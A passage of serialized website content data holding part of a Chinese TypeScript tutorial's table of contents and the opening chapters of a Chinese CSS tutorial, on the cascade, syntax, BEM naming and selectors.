收窄",{"id":100637,"depth":357,"text":100637},{"id":100803,"depth":357,"text":108273},"类型谓词 x is T：把你的判断经验交给编译器",{"id":100979,"depth":357,"text":108275},"asserts x is T：断言函数",{"id":101115,"depth":357,"text":101115},{"id":101137,"depth":341,"text":108278,"children":108279},"八、断言：as、双重断言、非空断言，以及 satisfies 与 as const",[108280,108282,108284,108286,108288],{"id":101156,"depth":357,"text":108281},"as T：普通断言",{"id":101270,"depth":357,"text":108283},"双重断言 as unknown as T",{"id":101346,"depth":357,"text":108285},"非空断言 !",{"id":101461,"depth":357,"text":108287},"as const：把字面量彻底钉死",{"id":101562,"depth":357,"text":108289},"satisfies：校验形状但不丢窄化",{"id":101717,"depth":341,"text":108291,"children":108292},"九、字面量类型与 as const：把「值」当「类型」用",[108293,108294,108295,108297,108299],{"id":101736,"depth":357,"text":101736},{"id":101903,"depth":357,"text":101903},{"id":101946,"depth":357,"text":108296},"as const 的三种落点",{"id":102045,"depth":357,"text":108298},"把值当类型用：typeof 类型查询",{"id":102140,"depth":357,"text":108300},"const 类型参数（简提）",{"id":102216,"depth":341,"text":102217,"children":108302},[108303,108305,108306,108308,108310,108312,108314],{"id":102239,"depth":357,"text":108304},"public \u002F private \u002F protected",{"id":102446,"depth":357,"text":102447},{"id":102522,"depth":357,"text":108307},"static 与抽象类",{"id":102674,"depth":357,"text":108309},"implements：声明「我满足某个契约」",{"id":102765,"depth":357,"text":108311},"真正的私有：# 字段",{"id":102892,"depth":357,"text":108313},"访问器 get \u002F set",{"id":102979,"depth":357,"text":102980},{"id":103093,"depth":341,"text":108316,"children":108317},"十一、泛型入门：为什么需要泛型而不是 any",[108318,108320,108322,108323],{"id":103109,"depth":357,"text":108319},"同一个例子：先写成 any，再写成泛型",{"id":103397,"depth":357,"text":108321},"泛型约束 extends：给类型变量划范围",{"id":103553,"depth":357,"text":103553},{"id":103657,"depth":357,"text":103658},{"id":103680,"depth":341,"text":108325,"children":108326},"十二、泛型进阶：接口、类、keyof、索引访问与映射类型入门",[108327,108328,108329,108331,108333],{"id":103697,"depth":357,"text":103697},{"id":103957,"depth":357,"text":103957},{"id":104091,"depth":357,"text":108330},"keyof：取一个类型所有键的联合",{"id":104264,"depth":357,"text":108332},"索引访问类型 T[K]",{"id":104350,"depth":357,"text":104351},{"id":104484,"depth":341,"text":104485,"children":108335},[108336,108338,108340,108342,108344,108346,108348],{"id":104499,"depth":357,"text":108337},"Partial\u003CT> \u002F Required\u003CT> \u002F Readonly\u003CT>",{"id":104807,"depth":357,"text":108339},"Pick\u003CT, K> \u002F Omit\u003CT, K>",{"id":105039,"depth":357,"text":108341},"Exclude\u003CT, U> \u002F Extract\u003CT, U> \u002F NonNullable\u003CT>",{"id":105277,"depth":357,"text":108343},"ReturnType \u002F Parameters \u002F ConstructorParameters",{"id":105519,"depth":357,"text":108345},"Awaited\u003CT>：扒开 Promise 的外壳",{"id":105660,"depth":357,"text":108347},"Record\u003CK, V>：键类型到值类型的字典",{"id":105786,"depth":357,"text":105786},{"id":105799,"depth":341,"text":108350,"children":108351},"十四、条件类型与 infer、模板字面量类型：类型体操入门",[108352,108353,108355,108356],{"id":105813,"depth":357,"text":105814},{"id":105931,"depth":357,"text":108354},"infer：在匹配中「捕获」一个类型",{"id":106087,"depth":357,"text":106088},{"id":106279,"depth":357,"text":106279},{"id":106292,"depth":341,"text":108358,"children":108359},"十五、模块与声明文件：ESM、import type、.d.ts 与给无类型库写声明",[108360,108362,108364,108366,108368],{"id":106319,"depth":357,"text":108361},"ESM 与 import type",{"id":106395,"depth":357,"text":108363},".d.ts 是什么",{"id":106490,"depth":357,"text":108365},"declare 与 declare module",{"id":106595,"depth":357,"text":108367},"@types 与包里的 types 字段",{"id":106652,"depth":357,"text":106652},{"id":106706,"depth":341,"text":106707,"children":108370},[108371,108373,108375,108377,108379,108381],{"id":106752,"depth":357,"text":108372},"target \u002F lib：转译产物 vs 允许用的 API",{"id":106866,"depth":357,"text":108374},"module \u002F moduleResolution：产物用什么模块格式 vs 怎么找模块",{"id":106957,"depth":357,"text":108376},"strict 家族：一次打开一串安全闸",{"id":107105,"depth":357,"text":108378},"include \u002F exclude \u002F paths",{"id":107164,"depth":357,"text":108380},"noEmit 与增量构建、项目引用",{"id":107205,"depth":357,"text":108382},"为什么 noEmit + 打包器才是常见组合",{"id":107254,"depth":341,"text":107255,"children":108384},[108385,108386,108388,108389,108391,108392,108394,108396,108397],{"id":107271,"depth":357,"text":107272},{"id":107388,"depth":357,"text":108387},"isolatedModules 为什么需要",{"id":107444,"depth":357,"text":107445},{"id":107469,"depth":357,"text":108390},"坑一：any 顺着返回值泄漏",{"id":107510,"depth":357,"text":107511},{"id":107584,"depth":357,"text":108393},"坑三：枚举的运行时成本与 const enum",{"id":107628,"depth":357,"text":108395},"坑四：import type 与循环引用",{"id":107648,"depth":357,"text":107649},{"id":107681,"depth":357,"text":108398},"坑六：把 unknown 用 as 直接吃掉",{"id":107724,"depth":341,"text":107725,"children":108400},[108401,108402,108403,108404,108405],{"id":107739,"depth":357,"text":107740},{"id":107968,"depth":357,"text":107969},{"id":108006,"depth":357,"text":108007},{"id":108027,"depth":357,"text":108028},{"id":108178,"depth":357,"text":108178},"\u002Fimg\u002Fts-cover.svg","零基础到精通 TypeScript：基础类型、接口、泛型、工具类型、声明文件与 tsconfig 工程化，18 章循序渐进，末章逐条对比 TS 与 JS 的区别。",{},"\u002Ftutorials\u002Fts",{"title":96422,"description":108407},{"loc":108409},"tutorials\u002Fts","WOAPYVcLinHKb3sSlr6-5iIQ6PhpS9Kv6DaMKOIjKtQ",{"id":108415,"title":108416,"body":108417,"category":108722,"cover":122480,"date":122481,"description":122482,"extension":4549,"meta":122483,"navigation":997,"path":122484,"seo":122485,"sitemap":122486,"stem":122487,"__hash__":122488},"tutorials\u002Ftutorials\u002Fcss.md","CSS 教程：从选择器到容器查询",{"type":8,"value":108418,"toc":122269},[108419,108423,108430,108434,108577,108654,108658,108661,108664,108703,108710,108714,108718,108774,108793,108797,108800,108818,108833,108862,108866,108869,108918,108927,108930,109012,109026,109030,109034,109109,109113,109117,109195,109206,109209,109301,109307,109310,109399,109402,109439,109443,109447,109513,109517,109520,109557,109561,109571,109584,109587,109590,109669,109672,109709,109740,109744,109772,109776,109779,109792,109920,109924,109974,109977,110067,110071,110095,110099,110118,110134,110137,110219,110226,110230,110233,110237,110248,110260,110309,110322,110353,110363,110366,110388,110396,110407,110410,110451,110455,110466,110489,110506,110513,110519,110598,110609,110612,110615,110648,110652,110672,110676,110680,110739,110748,110778,110783,110793,110802,110862,110880,110884,110912,110922,110925,110960,110969,111011,111023,111029,111032,111072,111075,111115,111118,111166,111176,111179,111221,111225,111229,111238,111260,111302,111328,111337,111346,111421,111434,111438,111619,111629,111637,111649,111757,111761,111769,111888,111908,111921,111927,111938,112052,112059,112067,112071,112111,112122,112132,112136,112148,112157,112248,112258,112270,112274,112353,112356,112468,112474,112486,112489,112566,112575,112579,112601,112607,112614,112653,112657,112668,112672,112676,112699,112723,112752,112779,112785,112822,112845,112856,112860,112863,112904,112909,112985,113002,113010,113019,113058,113066,113073,113088,113183,113207,113210,113341,113358,113362,113365,113370,113378,113426,113452,113469,113498,113502,113633,113643,113649,113653,113658,113671,113680,113692,113775,113796,113809,113812,113819,113857,113864,113868,113906,113920,113923,114014,114018,114029,114034,114041,114143,114167,114178,114184,114196,114343,114353,114359,114376,114379,114445,114464,114479,114492,114498,114519,114522,114693,114711,114715,114722,114726,114730,114737,114746,114749,114813,114820,114927,114933,114937,115037,115040,115114,115127,115131,115137,115243,115254,115261,115343,115351,115368,115447,115466,115481,115485,115488,115492,115496,115580,115587,115590,115614,115617,115643,115650,115763,115769,115776,115780,115872,115875,115909,115919,115929,115933,115986,115992,116048,116051,116054,116196,116202,116206,116278,116281,116305,116343,116353,116431,116437,116440,116499,116503,116506,116511,116519,116589,116592,116612,116623,116641,116648,116756,116771,116780,116786,116865,116871,116875,117033,117039,117182,117204,117226,117229,117253,117259,117270,117274,117281,117451,117464,117477,117485,117527,117533,117537,117570,117576,117594,117600,117693,117699,117710,117730,117734,117737,117782,117785,117794,117806,117809,117836,117840,117847,117851,117857,117898,117906,117912,118097,118104,118218,118240,118243,118247,118358,118362,118777,118783,118786,118826,118838,118842,118852,118856,118862,118905,118916,118929,118979,118988,118991,119032,119043,119049,119165,119167,119193,119203,119211,119277,119285,119409,119413,119423,119537,119540,119575,119582,119591,119595,119673,119679,119698,119706,119722,119726,119764,119771,119774,119797,119801,119811,119815,119819,119822,119882,119885,120067,120073,120079,120088,120146,120156,120162,120283,120293,120301,120369,120511,120521,120529,120571,120601,120610,120613,120642,120649,120653,120656,120717,120726,120733,120739,120798,120812,120828,120868,120933,120954,120957,121018,121021,121027,121114,121117,121121,121127,121212,121215,121236,121239,121390,121394,121481,121495,121498,121631,121637,121728,121731,121734,121841,121845,121848,121852,121856,121859,121972,121976,121980,121983,122110,122114,122230,122234,122263,122266],[48,108420,108422],{"id":108421},"一css-是什么三种引入方式与层叠起点","一、CSS 是什么：三种引入方式与层叠起点",[11,108424,108425,108426,108429],{},"HTML 决定「这是什么内容」，CSS 决定「它怎么呈现」。CSS 的全部机制都建立在一个前提上：",[17,108427,108428],{},"同一个元素的同一个属性可以被多条规则命中，最终只有一条赢","。理解这场裁决（层叠，cascade），后面所有「我明明写了却没生效」的问题都有了解法。",[53,108431,108433],{"id":108432},"外链内联块与-import各自的代价","外链、内联块与 @import：各自的代价",[308,108435,108437],{"className":485,"code":108436,"language":487,"meta":314,"style":314},"\u003C!-- ① 外链样式表：正式项目的唯一正确做法 -->\n\u003Clink rel=\"stylesheet\" href=\"\u002Fcss\u002Fmain.css\">\n\n\u003C!-- ② 页面内 style 块：单页 demo、首屏关键 CSS -->\n\u003Cstyle> body { max-width: 700px; margin: 0 auto; } \u003C\u002Fstyle>\n\n\u003C!-- ③ @import：写在 CSS 文件顶部 -->\n\u003Cstyle> @import url(\"\u002Fcss\u002Freset.css\"); \u003C\u002Fstyle>\n\n\u003C!-- ④ 元素上的 style 属性：权重最高，只用于必须动态计算的值 -->\n\u003Cdiv style=\"width: 42%\">…\u003C\u002Fdiv>\n",[22,108438,108439,108444,108466,108470,108475,108514,108518,108523,108549,108553,108558],{"__ignoreMap":314},[331,108440,108441],{"class":333,"line":334},[331,108442,108443],{"class":1003},"\u003C!-- ① 外链样式表：正式项目的唯一正确做法 -->\n",[331,108445,108446,108448,108450,108452,108454,108457,108459,108461,108464],{"class":333,"line":341},[331,108447,510],{"class":337},[331,108449,87937],{"class":497},[331,108451,6240],{"class":501},[331,108453,518],{"class":337},[331,108455,108456],{"class":365},"\"stylesheet\"",[331,108458,18790],{"class":501},[331,108460,518],{"class":337},[331,108462,108463],{"class":365},"\"\u002Fcss\u002Fmain.css\"",[331,108465,505],{"class":337},[331,108467,108468],{"class":333,"line":357},[331,108469,998],{"emptyLinePlaceholder":997},[331,108471,108472],{"class":333,"line":371},[331,108473,108474],{"class":1003},"\u003C!-- ② 页面内 style 块：单页 demo、首屏关键 CSS -->\n",[331,108476,108477,108479,108481,108483,108485,108487,108490,108492,108494,108496,108498,108500,108502,108504,108507,108510,108512],{"class":333,"line":384},[331,108478,510],{"class":337},[331,108480,595],{"class":497},[331,108482,26860],{"class":337},[331,108484,800],{"class":497},[331,108486,605],{"class":337},[331,108488,108489],{"class":344},"max-width",[331,108491,348],{"class":337},[331,108493,78308],{"class":344},[331,108495,617],{"class":616},[331,108497,620],{"class":337},[331,108499,623],{"class":344},[331,108501,348],{"class":337},[331,108503,628],{"class":344},[331,108505,108506],{"class":344}," auto",[331,108508,108509],{"class":337},"; } \u003C\u002F",[331,108511,595],{"class":497},[331,108513,505],{"class":337},[331,108515,108516],{"class":333,"line":397},[331,108517,998],{"emptyLinePlaceholder":997},[331,108519,108520],{"class":333,"line":418},[331,108521,108522],{"class":1003},"\u003C!-- ③ @import：写在 CSS 文件顶部 -->\n",[331,108524,108525,108527,108529,108531,108534,108537,108539,108542,108545,108547],{"class":333,"line":427},[331,108526,510],{"class":337},[331,108528,595],{"class":497},[331,108530,26860],{"class":337},[331,108532,108533],{"class":616},"@import",[331,108535,108536],{"class":344}," url",[331,108538,966],{"class":337},[331,108540,108541],{"class":365},"\"\u002Fcss\u002Freset.css\"",[331,108543,108544],{"class":337},"); \u003C\u002F",[331,108546,595],{"class":497},[331,108548,505],{"class":337},[331,108550,108551],{"class":333,"line":439},[331,108552,998],{"emptyLinePlaceholder":997},[331,108554,108555],{"class":333,"line":450},[331,108556,108557],{"class":1003},"\u003C!-- ④ 元素上的 style 属性：权重最高，只用于必须动态计算的值 -->\n",[331,108559,108560,108562,108564,108566,108568,108571,108573,108575],{"class":333,"line":456},[331,108561,510],{"class":337},[331,108563,6021],{"class":497},[331,108565,1558],{"class":501},[331,108567,518],{"class":337},[331,108569,108570],{"class":365},"\"width: 42%\"",[331,108572,6274],{"class":337},[331,108574,6021],{"class":497},[331,108576,505],{"class":337},[57,108578,108579,108590],{},[60,108580,108581],{},[63,108582,108583,108585,108588],{},[66,108584,24591],{},[66,108586,108587],{},"优点",[66,108589,50395],{},[79,108591,108592,108609,108623,108640],{},[63,108593,108594,108599,108606],{},[84,108595,108596,108598],{},[22,108597,87937],{}," 外链",[84,108600,108601,108602,108605],{},"多页共享、可长期缓存、与 HTML ",[17,108603,108604],{},"并行","下载",[84,108607,108608],{},"多一次请求",[63,108610,108611,108617,108620],{},[84,108612,108613,108616],{},[22,108614,108615],{},"\u003Cstyle>"," 内联块",[84,108618,108619],{},"零请求，适合把首屏关键 CSS 直接嵌进 HTML",[84,108621,108622],{},"不随页面复用，改一次要动 HTML",[63,108624,108625,108629,108632],{},[84,108626,108627],{},[22,108628,108533],{},[84,108630,108631],{},"组织上像 include",[84,108633,108634,108637,108638],{},[17,108635,108636],{},"被引入的文件要等主 CSS 下载完才开始下载","（串行），首屏变慢；生产环境几乎总该换成 ",[22,108639,87937],{},[63,108641,108642,108648,108651],{},[84,108643,108644,108647],{},[22,108645,108646],{},"style=\"\""," 属性",[84,108649,108650],{},"能被 JS 单点修改、权重最高",[84,108652,108653],{},"无法复用、写不了伪类、难以维护",[4748,108655],{"height":40485,"src":108656,"title":108657},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F01-three-ways.html","示例 01：三种引入方式与层叠起点",[53,108659,108660],{"id":108660},"一条声明怎么胜出",[11,108662,108663],{},"浏览器对每个元素的每个属性只保留一条获胜声明，裁判顺序是：",[1659,108665,108666,108678,108691,108697],{},[1662,108667,108668,108671,108672,108674,108675,108677],{},[17,108669,108670],{},"重要性与来源","：用户带 ",[22,108673,24107],{}," 的样式 > 作者带 ",[22,108676,24107],{}," 的 > 作者普通 > 用户普通 > 浏览器默认。",[1662,108679,108680,108686,108687,108690],{},[17,108681,108682,108683,5149],{},"层（",[22,108684,108685],{},"@layer","：未分层的声明，优先级",[17,108688,108689],{},"高于","所有分层的声明（第十六章）。",[1662,108692,108693,108696],{},[17,108694,108695],{},"权重（specificity）","：id \u002F class \u002F 元素三个数量级比较（第四章）。",[1662,108698,108699,108702],{},[17,108700,108701],{},"书写顺序","：前三步比不出结果时，写在后面的赢。",[11,108704,108705,108706,108709],{},"「后写的覆盖先写的」只在",[17,108707,108708],{},"权重相同","的前提下成立——这是新手最容易记错的一条。",[48,108711,108713],{"id":108712},"二语法与书写规范","二、语法与书写规范",[53,108715,108717],{"id":108716},"规则的结构选择器-声明块","规则的结构：选择器 + 声明块",[308,108719,108723],{"className":108720,"code":108721,"language":108722,"meta":314,"style":314},"language-css shiki shiki-themes github-dark","\u002F*  选择器（命中谁）  *\u002F\nh1, .title {\n  color: #24292f;      \u002F* 声明 = 属性 + 冒号 + 值 + 分号 *\u002F\n  line-height: 1.3;\n}\n","css",[22,108724,108725,108730,108741,108757,108770],{"__ignoreMap":314},[331,108726,108727],{"class":333,"line":334},[331,108728,108729],{"class":1003},"\u002F*  选择器（命中谁）  *\u002F\n",[331,108731,108732,108734,108736,108739],{"class":333,"line":341},[331,108733,810],{"class":497},[331,108735,409],{"class":337},[331,108737,108738],{"class":501},".title",[331,108740,1100],{"class":337},[331,108742,108743,108746,108748,108751,108754],{"class":333,"line":357},[331,108744,108745],{"class":344},"  color",[331,108747,348],{"class":337},[331,108749,108750],{"class":344},"#24292f",[331,108752,108753],{"class":337},";      ",[331,108755,108756],{"class":1003},"\u002F* 声明 = 属性 + 冒号 + 值 + 分号 *\u002F\n",[331,108758,108759,108762,108764,108767],{"class":333,"line":371},[331,108760,108761],{"class":344},"  line-height",[331,108763,348],{"class":337},[331,108765,108766],{"class":344},"1.3",[331,108768,108769],{"class":337},";\n",[331,108771,108772],{"class":333,"line":384},[331,108773,459],{"class":337},[1773,108775,108776,108783,108790],{},[1662,108777,108778,108779,108782],{},"逗号是「或」：",[22,108780,108781],{},"h1, .title { }"," 等于两条规则合并。",[1662,108784,108785,108786,108789],{},"最后一条的分号可以省略，但",[17,108787,108788],{},"别省","：追加声明、被压缩工具合并时会出错。",[1662,108791,108792],{},"花括号内一条声明缺分号会吞掉下一条；少一个花括号，破坏面能扩到整段样式表。",[4748,108794],{"height":32474,"src":108795,"title":108796},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F02-syntax-conventions.html","示例 02：语法结构、简写与命名约定",[53,108798,108799],{"id":108799},"注释与分组",[11,108801,108802,108803,108805,108806,108809,108810,108813,108814,108817],{},"CSS 只有 ",[22,108804,14496],{}," 一种注释，",[22,108807,108808],{},"\u002F\u002F"," 是 Sass\u002FLess 的能力。错误恢复是",[17,108811,108812],{},"整块规则","级别的：一个选择器解析失败，浏览器会丢弃直到下一个 ",[22,108815,108816],{},"}"," 为止的全部内容，所以一个拼错的选择器影响的往往不止它自己。",[11,108819,108820,108821,108824,108825,108828,108829,108832],{},"声明简写有个必须知道的隐藏行为：",[17,108822,108823],{},"简写会把没提到的分量重置为初始值","。写了 ",[22,108826,108827],{},"background: red"," 之后再单写 ",[22,108830,108831],{},"background-position","，位置可能已经被前一条清掉了——这是「明明写了却不生效」的高频原因之一。",[308,108834,108836],{"className":108720,"code":108835,"language":108722,"meta":314,"style":314},"margin: 10px 20px;               \u002F* 上下 10，左右 20（顺序：上 右 下 左，顺时针） *\u002F\nborder: 1px solid #d0d7de;       \u002F* 宽度 样式 颜色 *\u002F\nbackground: #f6f8fa url(a.png) no-repeat center \u002F cover;  \u002F* 一行写完多个分量 *\u002F\n",[22,108837,108838,108846,108854],{"__ignoreMap":314},[331,108839,108840,108843],{"class":333,"line":334},[331,108841,108842],{"class":337},"margin: 10px 20px;               ",[331,108844,108845],{"class":1003},"\u002F* 上下 10，左右 20（顺序：上 右 下 左，顺时针） *\u002F\n",[331,108847,108848,108851],{"class":333,"line":341},[331,108849,108850],{"class":337},"border: 1px solid #d0d7de;       ",[331,108852,108853],{"class":1003},"\u002F* 宽度 样式 颜色 *\u002F\n",[331,108855,108856,108859],{"class":333,"line":357},[331,108857,108858],{"class":337},"background: #f6f8fa url(a.png) no-repeat center \u002F cover;  ",[331,108860,108861],{"class":1003},"\u002F* 一行写完多个分量 *\u002F\n",[53,108863,108865],{"id":108864},"命名约定bem-风格","命名约定：BEM 风格",[11,108867,108868],{},"本站所有组件用这一套：",[308,108870,108872],{"className":108720,"code":108871,"language":108722,"meta":314,"style":314},".chip            { }  \u002F* 块：组件本体 *\u002F\n.chip__count     { }  \u002F* 元素：块内部的组成部分，双下划线 *\u002F\n.chip--primary   { }  \u002F* 修饰符：同一种东西的变体，双连字符 *\u002F\n.chip.is-disabled{ }  \u002F* 状态：由 JS 加上的类，配 is-\u002Fhas- 前缀 *\u002F\n",[22,108873,108874,108885,108896,108907],{"__ignoreMap":314},[331,108875,108876,108879,108882],{"class":333,"line":334},[331,108877,108878],{"class":501},".chip",[331,108880,108881],{"class":337},"            { }  ",[331,108883,108884],{"class":1003},"\u002F* 块：组件本体 *\u002F\n",[331,108886,108887,108890,108893],{"class":333,"line":341},[331,108888,108889],{"class":501},".chip__count",[331,108891,108892],{"class":337},"     { }  ",[331,108894,108895],{"class":1003},"\u002F* 元素：块内部的组成部分，双下划线 *\u002F\n",[331,108897,108898,108901,108904],{"class":333,"line":357},[331,108899,108900],{"class":501},".chip--primary",[331,108902,108903],{"class":337},"   { }  ",[331,108905,108906],{"class":1003},"\u002F* 修饰符：同一种东西的变体，双连字符 *\u002F\n",[331,108908,108909,108912,108915],{"class":333,"line":371},[331,108910,108911],{"class":501},".chip.is-disabled",[331,108913,108914],{"class":337},"{ }  ",[331,108916,108917],{"class":1003},"\u002F* 状态：由 JS 加上的类，配 is-\u002Fhas- 前缀 *\u002F\n",[11,108919,108920,108921,62776,108924,161],{},"BEM 不是标准，而是一种能防止选择器膨胀的命名纪律。三条收益：看类名就知道归属、每条规则能单独读懂、权重始终是「单个 class」因此永远低位、方便覆盖。命名带用途而不是带外观：",[22,108922,108923],{},"is-error",[22,108925,108926],{},"red-text",[53,108928,108929],{"id":108929},"常见语法错误与排查",[57,108931,108932,108940],{},[60,108933,108934],{},[63,108935,108936,108938],{},[66,108937,19254],{},[66,108939,52607],{},[79,108941,108942,108953,108964,108975,108988,108999],{},[63,108943,108944,108950],{},[84,108945,108946,108949],{},[22,108947,108948],{},"colo: red","（属性拼错）",[84,108951,108952],{},"该声明被忽略，块内其余照常",[63,108954,108955,108961],{},[84,108956,108957,108960],{},[22,108958,108959],{},"color red;","（漏冒号）",[84,108962,108963],{},"该声明被忽略",[63,108965,108966,108972],{},[84,108967,108968,108971],{},[22,108969,108970],{},"margin: 10px 20px","（漏分号）",[84,108973,108974],{},"下一条声明被吞",[63,108976,108977,108982],{},[84,108978,108979,108980],{},"少一个 ",[22,108981,108816],{},[84,108983,108984,108985,108987],{},"直到下一个 ",[22,108986,108816],{}," 的整块内容失效",[63,108989,108990,108996],{},[84,108991,108992,108995],{},[22,108993,108994],{},"width: 100","（长度漏单位）",[84,108997,108998],{},"除 0 和单位无关关键字外，长度必须带单位",[63,109000,109001,109009],{},[84,109002,109003,109004,109006,109007],{},"中文全角分号 ",[22,109005,17306],{},"、全角冒号 ",[22,109008,322],{},[84,109010,109011],{},"中文输入法下的第一大坑，症状同上",[11,109013,109014,109015,109018,109019,109021,109022,109025],{},"排查只用 DevTools 的 Styles 面板：",[17,109016,109017],{},"被划掉的规则","说明被更高权重或 ",[22,109020,24107],{}," 压制（面板会标出是谁压的），",[17,109023,109024],{},"根本没出现的规则","说明没命中或整块解析失败。",[48,109027,109029],{"id":109028},"三选择器基础","三、选择器基础",[53,109031,109033],{"id":109032},"类型classid-与通配","类型、class、id 与通配",[308,109035,109037],{"className":108720,"code":109036,"language":108722,"meta":314,"style":314},"p { }        \u002F* 类型选择器：命中所有 p，权重 0,0,1 *\u002F\n.card { }    \u002F* class：权重 0,1,0 —— 日常主力 *\u002F\n#header { }  \u002F* id：权重 1,0,0 —— 别拿它写样式（第四章） *\u002F\n* { }        \u002F* 通配：权重 0，唯一正当用途是重置 *\u002F\n*, *::before, *::after { box-sizing: border-box; }\n",[22,109038,109039,109049,109060,109070,109079],{"__ignoreMap":314},[331,109040,109041,109043,109046],{"class":333,"line":334},[331,109042,11],{"class":497},[331,109044,109045],{"class":337}," { }        ",[331,109047,109048],{"class":1003},"\u002F* 类型选择器：命中所有 p，权重 0,0,1 *\u002F\n",[331,109050,109051,109054,109057],{"class":333,"line":341},[331,109052,109053],{"class":501},".card",[331,109055,109056],{"class":337}," { }    ",[331,109058,109059],{"class":1003},"\u002F* class：权重 0,1,0 —— 日常主力 *\u002F\n",[331,109061,109062,109064,109067],{"class":333,"line":357},[331,109063,19535],{"class":501},[331,109065,109066],{"class":337}," { }  ",[331,109068,109069],{"class":1003},"\u002F* id：权重 1,0,0 —— 别拿它写样式（第四章） *\u002F\n",[331,109071,109072,109074,109076],{"class":333,"line":371},[331,109073,18020],{"class":497},[331,109075,109045],{"class":337},[331,109077,109078],{"class":1003},"\u002F* 通配：权重 0，唯一正当用途是重置 *\u002F\n",[331,109080,109081,109083,109085,109087,109090,109092,109094,109097,109099,109102,109104,109107],{"class":333,"line":384},[331,109082,18020],{"class":497},[331,109084,409],{"class":337},[331,109086,18020],{"class":497},[331,109088,109089],{"class":501},"::before",[331,109091,409],{"class":337},[331,109093,18020],{"class":497},[331,109095,109096],{"class":501},"::after",[331,109098,605],{"class":337},[331,109100,109101],{"class":344},"box-sizing",[331,109103,348],{"class":337},[331,109105,109106],{"class":344},"border-box",[331,109108,664],{"class":337},[4748,109110],{"height":32474,"src":109111,"title":109112},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F03-selectors.html","示例 03：五组必会选择器",[53,109114,109116],{"id":109115},"组合子空格-与","组合子：空格、>、+ 与 ~",[308,109118,109120],{"className":108720,"code":109119,"language":108722,"meta":314,"style":314},".card p       { }   \u002F* 空格 = 后代，任意深度 *\u002F\n.card > p     { }   \u002F* > = 子代，只下一层 *\u002F\nh4 + h4       { }   \u002F* + = 紧邻兄弟，紧跟在后面的那一个 *\u002F\np ~ span      { }   \u002F* ~ = 后续兄弟，之后的所有同级 *\u002F\nA B C > D     { }   \u002F* 混用；从右往左读：D 是 C 的子，C 是 B 的后代 *\u002F\n",[22,109121,109122,109134,109148,109163,109178],{"__ignoreMap":314},[331,109123,109124,109126,109128,109131],{"class":333,"line":334},[331,109125,109053],{"class":501},[331,109127,98133],{"class":497},[331,109129,109130],{"class":337},"       { }   ",[331,109132,109133],{"class":1003},"\u002F* 空格 = 后代，任意深度 *\u002F\n",[331,109135,109136,109138,109140,109142,109145],{"class":333,"line":341},[331,109137,109053],{"class":501},[331,109139,56464],{"class":616},[331,109141,98133],{"class":497},[331,109143,109144],{"class":337},"     { }   ",[331,109146,109147],{"class":1003},"\u002F* > = 子代，只下一层 *\u002F\n",[331,109149,109150,109153,109155,109158,109160],{"class":333,"line":357},[331,109151,109152],{"class":497},"h4",[331,109154,6321],{"class":616},[331,109156,109157],{"class":497}," h4",[331,109159,109130],{"class":337},[331,109161,109162],{"class":1003},"\u002F* + = 紧邻兄弟，紧跟在后面的那一个 *\u002F\n",[331,109164,109165,109167,109169,109172,109175],{"class":333,"line":371},[331,109166,11],{"class":497},[331,109168,75644],{"class":616},[331,109170,109171],{"class":497}," span",[331,109173,109174],{"class":337},"      { }   ",[331,109176,109177],{"class":1003},"\u002F* ~ = 后续兄弟，之后的所有同级 *\u002F\n",[331,109179,109180,109182,109184,109187,109189,109192],{"class":333,"line":384},[331,109181,101280],{"class":497},[331,109183,103759],{"class":497},[331,109185,109186],{"class":337}," C ",[331,109188,42343],{"class":616},[331,109190,109191],{"class":337}," D     { }   ",[331,109193,109194],{"class":1003},"\u002F* 混用；从右往左读：D 是 C 的子，C 是 B 的后代 *\u002F\n",[11,109196,109197,109198,109201,109202,109205],{},"选择器",[17,109199,109200],{},"从右往左","匹配，所以最右侧的「关键选择器」越具体越快。长链 ",[22,109203,109204],{},"body > div .box ul li a"," 既慢又脆，DOM 一调整就断——这是重构时最先该删的东西。",[53,109207,109208],{"id":109208},"属性选择器全家福",[57,109210,109211,109219],{},[60,109212,109213],{},[63,109214,109215,109217],{},[66,109216,54701],{},[66,109218,49671],{},[79,109220,109221,109231,109244,109254,109264,109274,109284],{},[63,109222,109223,109228],{},[84,109224,109225],{},[22,109226,109227],{},"[href]",[84,109229,109230],{},"存在该属性",[63,109232,109233,109241],{},[84,109234,109235,1901,109238],{},[22,109236,109237],{},"[href=\"x\"]",[22,109239,109240],{},"[href=\"x\" i]",[84,109242,109243],{},"精确等于 \u002F 忽略大小写",[63,109245,109246,109251],{},[84,109247,109248],{},[22,109249,109250],{},"[href^=\"https\"]",[84,109252,109253],{},"前缀",[63,109255,109256,109261],{},[84,109257,109258],{},[22,109259,109260],{},"[href$=\".pdf\"]",[84,109262,109263],{},"后缀",[63,109265,109266,109271],{},[84,109267,109268],{},[22,109269,109270],{},"[href*=\"docs\"]",[84,109272,109273],{},"包含",[63,109275,109276,109281],{},[84,109277,109278],{},[22,109279,109280],{},"[rel~=\"noopener\"]",[84,109282,109283],{},"空格分隔的值列表中含某项",[63,109285,109286,109291],{},[84,109287,109288],{},[22,109289,109290],{},"[class|=\"btn\"]",[84,109292,109293,109294,109297,109298,68148],{},"等于 ",[22,109295,109296],{},"btn"," 或以 ",[22,109299,109300],{},"btn-",[11,109302,109303,109304,109306],{},"它们配合 ",[22,109305,25989],{},"（HTML 教程第十五章）能实现「数据驱动样式」：JS 只改属性，样式跟着变。",[53,109308,109309],{"id":109309},"结构伪类",[308,109311,109313],{"className":108720,"code":109312,"language":108722,"meta":314,"style":314},":first-child \u002F :last-child          \u002F* 首尾 *\u002F\n:nth-child(2n)  \u002F  :nth-child(even) \u002F* 偶数；也可 (2n+1)、odd、from-end(2) *\u002F\n:nth-child(-n+3)                    \u002F* 前 3 个 *\u002F\n:only-child                         \u002F* 独子 *\u002F\n:empty                              \u002F* 无子节点也无文本（空白符也算文本，格式化容易破坏它） *\u002F\n:not(.is-done)                      \u002F* 排除 *\u002F\n",[22,109314,109315,109328,109353,109367,109375,109383],{"__ignoreMap":314},[331,109316,109317,109320,109322,109325],{"class":333,"line":334},[331,109318,109319],{"class":501},":first-child",[331,109321,1901],{"class":337},[331,109323,109324],{"class":501},":last-child",[331,109326,109327],{"class":1003},"          \u002F* 首尾 *\u002F\n",[331,109329,109330,109333,109335,109338,109341,109343,109345,109348,109350],{"class":333,"line":341},[331,109331,109332],{"class":501},":nth-child",[331,109334,966],{"class":337},[331,109336,109337],{"class":344},"2n",[331,109339,109340],{"class":337},")  \u002F  